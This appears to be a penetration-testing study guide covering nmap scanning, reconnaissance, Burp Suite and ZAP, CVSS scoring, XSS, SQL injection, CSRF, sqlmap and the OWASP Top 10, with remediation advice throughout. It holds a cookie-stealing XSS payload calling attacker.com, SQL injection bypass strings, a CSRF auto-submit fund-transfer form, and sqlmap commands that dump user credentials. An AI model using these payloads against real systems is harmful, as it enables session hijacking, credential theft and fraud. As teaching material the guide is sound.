

Penetration Testing

Step	Phase	Technical Command	Description	Expected Output / Example
1	Interface Identification	<code>ifconfig</code> or <code>ip a</code>	Check network interface configurations to find the host's current IP address and subnet mask.	Active interface (e.g., <code>eth0</code>) displaying IP <code>192.168.20.90</code> and netmask <code>255.255.255.0</code> .
2	Subnet Calculation	<i>Manual / Automated</i>	Determine the target network range using the IP and netmask (CIDR notation).	Network range: <code>192.168.20.0/24</code> .
3	Host Discovery	<code>nmap -sN 192.168.20.0/24</code>	Conduct a Null scan (or ping sweep <code>-sn</code>) across the target subnet to identify active hosts.	List of live IP addresses (e.g., Target found at <code>192.168.20.47</code>).
4	Comprehensive Port Scan	<code>nmap -sC -p- 192.168.20.47</code>	Scan all 65,535 ports (<code>-p-</code>) on the target IP and run default scripts (<code>-sC</code>) to determine open services.	Identification of open ports, services, and versions (e.g., Port <code>47821</code> detected as open).

Fundamentals of Penetration Testing

Definition and Objectives

Penetration testing (or pen testing) is an authorized, simulated cyberattack against an organization's IT infrastructure, applications, or personnel. The primary objective is to identify security vulnerabilities before malicious actors can exploit them, evaluating the real-world security posture of the target environment.

Importance and Business Necessity

- **Proactive Risk Management:** Discovers flaws prior to a breach, minimizing potential financial and operational downtime.
- **Compliance and Regulation:** Satisfies mandatory security requirements for frameworks such as PCI-DSS, HIPAA, GDPR, and ISO 27001.
- **Trust and Reputation:** Protects customer data and maintains corporate brand integrity.
- **Validation of Controls:** Tests the effectiveness of existing security tools (firewalls, EDR, SIEM) and incident response teams.

Stages of Penetration Testing

Stage	Explanation	Common Tools Used
1. Planning & Reconnaissance	Defining the scope, objectives, and gathering preliminary intelligence (OSINT) about the target network or application.	Whois, NSLookup, Shodan, Maltego, Google Dorks
2. Scanning & Discovery	Interrogating the target infrastructure to understand how it responds to various intrusion attempts. Identifies open ports and live services.	Nmap, Masscan, Nikto, Nessus
3. Gaining Access	Exploiting identified vulnerabilities to breach the perimeter or escalate privileges within the application or network.	Metasploit, Burp Suite, Hydra, Sqlmap
4. Maintaining Access	Establishing a persistent presence in the target environment to simulate an advanced persistent threat (APT) and gather deeper insights.	Netcat, Cobalt Strike, custom web shells, Mimikatz
5. Analysis & Reporting	Documenting the vulnerabilities discovered, the methods used to exploit them, data accessed, and actionable remediation steps.	Kali Reporting Tools, MS Word, Markdown editors

Network Scanning with Nmap

Overview

Network Mapper (Nmap) is an open-source utility utilized for network discovery and security auditing. It sends specially crafted packets to the target hosts and analyzes the responses to determine host availability, open ports, operating systems, and active service versions.

Core Command Arguments

Argument	Command Example	Explanation
-sN	<code>nmap -sN <target></code>	Null Scan: Sets no bits in the TCP flag header. If a port is closed, it responds with a RST packet; if open, it drops the packet (ignores it). Useful for bypassing basic stateless firewalls.
-sC	<code>nmap -sC <target></code>	Default Script Scan: Runs a collection of safe, standard scripts from the Nmap Scripting Engine (NSE) to gather detailed service info.
--script	<code>nmap --script=vuln <target></code>	NSE Script Execution: Invokes specific script categories. Using <code>vuln</code> checks the target for known CVEs and high-severity weaknesses.
-sS	<code>nmap -sS <target></code>	SYN Stealth Scan: Executes a semi-open TCP connection by sending a SYN packet and waiting for a SYN/ACK, but tears down the connection with a RST before completion. Does not log on older systems.
-sV	<code>nmap -sV <target></code>	Version Detection: Probes open ports to determine the exact software application and version numbers running behind them.
-O	<code>nmap -O <target></code>	OS Detection: Utilizes TCP/IP fingerprinting to determine the operating system of the remote host.
-p-	<code>nmap -p- <target></code>	All Ports Scan: Forces Nmap to scan all 65,535 possible ports instead of just the default top 1,000 ports.

Information Gathering Techniques

Google Dorking

Google Dorking (or Google Hacking) involves using advanced search operators within the Google search engine to locate specific, highly granular data that is not easily indexed through normal queries. It is commonly used to find exposed credentials, vulnerable code patterns, or misconfigured server directories.

- **Example Query:** `filetype:log inurl:password`
- **Explanation:** This query forces Google to filter results to files ending in a `.log` extension containing the string "password" within the URL path, often exposing sensitive administration logs.

ARP Discovery

Address Resolution Protocol (ARP) Discovery is a local network reconnaissance technique used to map IP addresses to physical MAC addresses. Because ARP requests are broad-casted locally and cannot cross routers, they are highly reliable for identifying live hosts within the same broadcast domain, bypassing local OS firewalls that block ICMP (ping) traffic.

- **Example Command:** `arp-scan --interface=eth0 --localnet`
- **Explanation:** This broadcasts ARP requests to every potential IP address on the local network assigned to `eth0` and logs all hardware responses.

Web Vulnerability Assessment Tools

Burp Suite

Burp Suite is an integrated graphical platform used for performing security testing of web applications, operating primarily as a local interception proxy.

Core Components

Component	Operational Explanation
Proxy	Acts as a man-in-the-middle interceptor between the browser and the target server. It allows the tester to capture, view, modify, or drop HTTP/S requests and responses in real time.
Repeater	A manual tool used to manipulate and re-send individual HTTP requests. It allows testers to repeatedly alter specific parameters and monitor how the application server responds without re-triggering the action in the browser.
Intruder	An automated platform utilized for customized, highly targeted attacks against web applications. It can perform fuzzing, brute-forcing credentials, or enumerating object IDs by cycling payloads through defined request positions.

OWASP ZAP

OWASP Zed Attack Proxy (ZAP) is a free, open-source web application security scanner maintained under the OWASP umbrella. It acts as both an interception proxy and an automated scanner designed for security professionals and developers alike.

Tool Comparison: Burp Suite vs. OWASP ZAP

Feature / Aspect	Burp Suite	OWASP ZAP
Licensing	Commercial/Proprietary (Free Community edition available with severe performance limitations).	Fully open-source and free of charge.

Automation	Advanced automated scanning restricted to the paid Professional/Enterprise editions.	Free automated vulnerability scanning, active scanning, and spidering included out of the box.
Extensibility	BApp Store (Extensive marketplace, but some extensions require Pro).	ZAP Marketplace (Completely free addons and community-developed scripts).
API Integration	Available primarily in Enterprise/Pro editions for CI/CD pipelines.	Native, highly accessible API designed for easy automation within CI/CD pipelines.
Similarities	Both function as HTTP Interception Proxies, support active/passive scanning, offer request alteration (Repeater/Manual Request), and handle TLS/SSL decryption certificates.	

Vulnerability Severity Scoring: CVSS v3.1

The Common Vulnerability Scoring System (CVSS) provides a standardized way to capture the principal characteristics of a vulnerability and produce a numerical score reflecting its technical severity (0.0 to 10.0).

Base Metric Group Components

1. Exploitability Metrics

- **Attack Vector (AV):** Measures the context of vulnerability exploitation.
 - *Options:* Network (N) [Remote], Adjacent (A) [Local Network], Local (L) [Host Access], Physical (P) [Physical Access].
- **Attack Complexity (AC):** Describes the conditions beyond the attacker's control that must exist to exploit the vulnerability.
 - *Options:* Low (L) [No special conditions], High (H) [Requires specialized timing, configurations, or environment conditions].
- **Privileges Required (PR):** Documents the level of privileges an attacker must possess before successfully exploiting the vulnerability.
 - *Options:* None (N), Low (L) [Standard user access], High (H) [Administrative access].
- **User Interaction (UI):** Captures the requirement for a human user (other than the attacker) to participate in the successful compromise.
 - *Options:* None (N), Required (R) [Clicking a link, opening a file].

2. Scope Metric

- **Scope (S):** Measures whether a vulnerability in one software component impacts resources in other distinct security authorities or components.

- **Options:** Unchanged (U) [Exploited component and impacted resource are the same], Changed (C) [Sandbox escape, hypervisor compromise].

3. Impact Metrics

- **Confidentiality (C):** Measures the impact on the confidentiality of data managed by the system.
 - **Options:** High (H) [Total information disclosure], Low (L) [Partial data leak], None (N).
- **Integrity (I):** Measures the impact on data trustworthiness and modifications.
 - **Options:** High (H) [Total alteration of data], Low (L) [Partial modification], None (N).
- **Availability (A):** Measures the impact on service availability and system uptime.
 - **Options:** High (H) [Complete denial of service], Low (L) [Performance degradation], None (N).

Targeted Application Enumeration & Fuzzing

Fuzzing and Enumeration via Burp Suite Intruder

Fuzzing is the automated input of semi-random, malformed, or structured data into application inputs to observe unexpected behavior or errors. Enumeration systematically tests a sequence of inputs to discover valid resources (e.g., usernames, directories).

Execution Steps in Burp Intruder:

1. **Interception:** Capture the target request in the **Proxy** tab and send it to **Intruder** (Ctrl + I).
2. **Position Definition:** In the **Positions** sub-tab, configure the attack type (e.g., *Sniper*) and place payload markers (\$) around the target variable.
 - **Example:** `username=$admin$` or `id=$1$`.
3. **Payload Selection:** In the **Payloads** sub-tab, load a wordlist (e.g., a list of common usernames for enumeration or a list of special characters like ' , " , < , / for fuzzing).
4. **Execution & Analysis:** Launch the attack. Sort the results table by **Status Code** or **Length** to identify anomalies indicating a successful injection or an existing application resource.

Detailed Web Application Vulnerabilities

Reflected Cross-Site Scripting (Reflected XSS)

- **Definition:** Occurs when an untrusted user input is immediately processed by a server-side script and printed back into the HTTP response page without proper validation or escaping, leading to execution of scripts in the victim's browser context.
- **Technical Example:**
 - **Vulnerable URL:** `https://example.com/search?q=<script>alert(document.cookie)</script>`
- **Remediation:** Implement context-aware context encoding (HTML entity encoding) on all user-supplied output data before rendering it in the browser, and implement a strict Content Security Policy (CSP).

Stored Cross-Site Scripting (Stored XSS)

- **Definition:** Also known as Persistent XSS, this occurs when an application receives malicious input from a user, permanently stores it in a database or file system, and later embeds that malicious payload into web pages served to other site visitors.
- **Technical Example:**
 - **Malicious Input in a Comment Box:** `<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>`
- **Remediation:** Validate and sanitize all inputs using a safe sanitization library (e.g., DOMPurify), and strictly use HTML output encoding before rendering stored strings.

SQL Injection (SQLi)

- **Definition:** Occurs when untrusted user input is directly concatenated into a dynamic SQL query string instead of using safe parameters. This allows an attacker to manipulate backend database logic and execute arbitrary SQL commands.
- **Technical Variations & Examples:**
 - *Authentication Bypass:* An input of ' OR 1=1-- changes a query like **SELECT * FROM users WHERE user=" AND pass="** into:
 - SQL

SELECT * FROM users WHERE user=" OR 1=1--' AND pass="

-
- *Union-Based SQLi:* Uses the **UNION** operator to join malicious data queries to the legitimate query results:
- Plaintext

' UNION SELECT null, username, password FROM users--

○

- **Remediation:** Utilize **Parameterized Queries** (Prepared Statements) exclusively for database interactions. Avoid raw input concatenation.

Cross-Site Request Forgery (CSRF)

- **Definition:** Forces an authenticated end-user to execute unwanted actions on a web application in which they are currently authenticated, tricking the browser into sending state-changing requests via standard cross-origin properties.
- **Technical Proof of Concept (PoC) Code:**
- HTML

```
<html>
<body>
  <form action="http://target-bank.com/api/transfer" method="POST" id="csrfForm">
    <input type="hidden" name="account" value="attacker_id" />
    <input type="hidden" name="amount" value="5000" />
  </form>
  <script>
    document.getElementById('csrfForm').submit();
  </script>
</body>
</html>
```

-
- **Remediation:** Implement unique, cryptographically secure **Anti-CSRF Tokens** bound to the user's session for all state-changing state requests, and leverage the **SameSite=Strict** or **SameSite=Lax** attribute on session cookies.

SQLmap Overview

SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection (SQLi) flaws and taking over database servers. It features a powerful detection engine and a wide range of specialized switches for database fingerprinting, data fetching from the database, and accessing the underlying file system.

Core Operational Commands

The following commands represent the standard sequence used to navigate an application and extract data once a vulnerability is suspected.

1. Basic Target Scanning

Test a specific URL parameter for SQL injection vulnerabilities:

Bash

```
sqlmap -u "http://example.com/item.php?id=5" --batch
```

Note: The `--batch` flag automates the process by automatically choosing default options for all user prompts during the scan.

2. Specifying POST Data

Scan a POST request payload (commonly used for login forms or search boxes):

Bash

```
sqlmap -u "http://example.com/login.php" --data="username=admin&password=password" -p username
```

Note: The `-p` flag forces SQLmap to only test the specified parameter (`username`), saving time.

3. Database Enumeration

Once an injection point is confirmed, discover the available databases on the server:

Bash

```
sqlmap -u "http://example.com/item.php?id=5" --dbs
```

4. Table Enumeration

List the tables within a specific target database (e.g., a database named `target_db`):

Bash

```
sqlmap -u "http://example.com/item.php?id=5" -D target_db --tables
```

5. Column Enumeration

List the columns within a specific target table (e.g., a table named `users`):

Bash

```
sqlmap -u "http://example.com/item.php?id=5" -D target_db -T users --columns
```

6. Data Extraction (Dumping)

Extract and view the actual entries from the target columns (e.g., `username` and `password`):

Bash

```
sqlmap -u "http://example.com/item.php?id=5" -D target_db -T users -C username,password --dump
```

Essential Risk and Optimization Flags

- **--level=1-5:** Level of tests to perform (default is 1). Increasing to 5 expands tests to HTTP Headers (like User-Agent/Referer) and cookies.
- **--risk=1-3:** Risk of tests to perform (default is 1). Higher risk values (2 and 3) add heavy time-based SQL injections and risk altering data using **OR** based statements.
- **-r <request_file>:** Loads an entire HTTP request from a text file (captured from a proxy like Burp Suite), which automatically parses cookies, headers, and POST data.

OWASP Top 10 Web Application Security Risks

The Open Web Application Security Project (OWASP) outlines the most critical security vulnerabilities found in modern web applications.

OWASP Category	Vulnerability Name	Core Explanation
A01:2021	Broken Access Control	Users can act outside of their intended permissions, allowing unauthorized viewing, modification, or deletion of data.
A02:2021	Cryptographic Failures	Data in transit or at rest is left unprotected due to absent or weak encryption algorithms and poor key management.
A03:2021	Injection	User-supplied data is not filtered or sanitized, allowing it to be interpreted as commands by an interpreter (e.g., SQLi, Command Injection).
A04:2021	Insecure Design	Architectural flaws in code design and application workflow that cannot be fixed by simple implementation configurations.
A05:2021	Security Misconfiguration	Systems left running with default credentials, verbose error pages active, open cloud storage buckets, or unhardened HTTP headers.

A06:2021	Vulnerable and Outdated Components	Deploying software utilizing libraries, frameworks, or dependencies that contain known, unpatched CVE entries.
A07:2021	Identification and Authentication Failures	Weaknesses in session management, credential validation, or multi-factor execution (e.g., permitting credential stuffing).
A08:2021	Software and Data Integrity Failures	Code or infrastructure updates performed without verifying integrity, such as insecure deserialization or unverified CI/CD pipelines.
A09:2021	Security Logging and Monitoring Failures	Inability to detect, log, or alert on active security breaches and anomalous application activities.
A10:2021	Server-Side Request Forgery (SSRF)	A web application fetches a remote resource without validating the user-supplied URL, allowing an attacker to force the application to send requests to internal infrastructure.